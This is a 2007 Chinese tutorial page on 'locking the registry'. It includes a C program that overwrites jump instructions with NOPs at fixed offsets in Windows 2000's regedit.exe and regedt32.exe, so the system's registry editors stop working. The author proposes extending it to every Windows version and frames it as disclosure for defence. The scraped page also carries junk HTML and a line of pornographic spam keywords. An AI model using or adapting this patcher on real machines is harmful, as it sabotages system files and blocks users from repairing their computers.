• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 注冊表終極操作——鎖定注冊表

    發表于:2007-05-25來源:作者:點擊數: 標簽:
    你有沒有遇到 注冊表 被鎖定,無法打開注冊表來手工修復呢?很多人都為這個頭疼吧,相信你被鎖定一次就知道他的操作原理了: 修改[HKEY_CURRENT_USER\Software\ Microsoft \Windows\Current Version\Policies\System]下的DisableRegistryTools值為1 解鎖的方

      你有沒有遇到注冊表被鎖定,無法打開注冊表來手工修復呢?很多人都為這個頭疼吧,相信你被鎖定一次就知道他的操作原理了:

      修改[HKEY_CURRENT_USER\Software\
    Microsoft\Windows\Current
    Version\Policies\System]下的DisableRegistryTools值為1

      解鎖的方法也有幾種,比如程序用API函數調用注冊表直接刪除,做一個REG文件直接導入,寫一個腳本…………

      今天我就教大家寫個程序來實現另類鎖定,是不是很好奇了?跟我來。

      實驗環境:windows2000
      實驗目的:鎖定注冊表(本方法利用了Cracker的思路來實現,直接讓程序修改程序指令,使調用注冊表程序禁止。)
      實現方法:C程序

      首先我們要按照Cracker的思路反匯編WINNT下的regedit.exe和regedt32.exe找到跳轉指令,怎么得到這些信息不是我們今天的目的,這里我就不詳細介紹了,以下是我反匯編找到的跳轉地址:
      1.regedit.exe
    偏移地址:0x69CA 將指令:0x74 0x1A 修改成:0x90 0x90

      2.regedt32.exe
    偏移地址:0x10bf2 將指令:0x74 0x52 修改成:0x90 0x90

      現在我們用程序把這2個偏移地址的指令給修改成0x90 0x90 ( 0x90代表nop,就是讓程序什么也不做,執行下一條指令)讓我們看看程序是如何實現的吧。

    #include
    #include
    bool scanreg(const char *file,long offset, int length,char *the); /*函數說明*/

    main()
    {
    char the[]={ 0x90,0x90 };
    scanreg("C:\\WINNT\\regedit.exe",0x69CA,0x02,the); /*調用函數修改winnt下的regedit.exe 其中的0x02是修改長度*/
    scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe",0x69CA,0x02,the); /*調用函數改變補丁下regedit.exe*/
    scanreg("C:\\WINNT\\system32\\regedt32.exe",0x10bf2,0x02,the); /*調用函數修改system32下的regedt32.exe */
    scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe",0x10bf2,0x02,the); /*調用函數改變補丁下regedt32.exe*/
    }
    bool scanreg(const char *file,long offset, int length,char *the)
    {
    FILE *fp = NULL;
    bool result=false;
    if((fp=fopen(file,"rb+"))!=NULL) /*打開文件進行讀寫操作*/
    {
    fseek(fp,offset,1); /*把指針指向我們定義的偏移地址*/
    fwrite(the,length,1,fp); /*修改程序,把指令替換成0x90*/
    fclose(fp); /*關閉文件*/
    result=true;
    }
    return(result);
    }

      好了,我這里只是一個示范,只適合2000系統,把windows每種系統的注冊表調用程序都分析一下,然后在程序開始用API函數GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判斷系統,根據判斷的系統來調用相應的修改函數。那不是通殺windows了?上面把方法公布出來,以便大家做好防范。

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>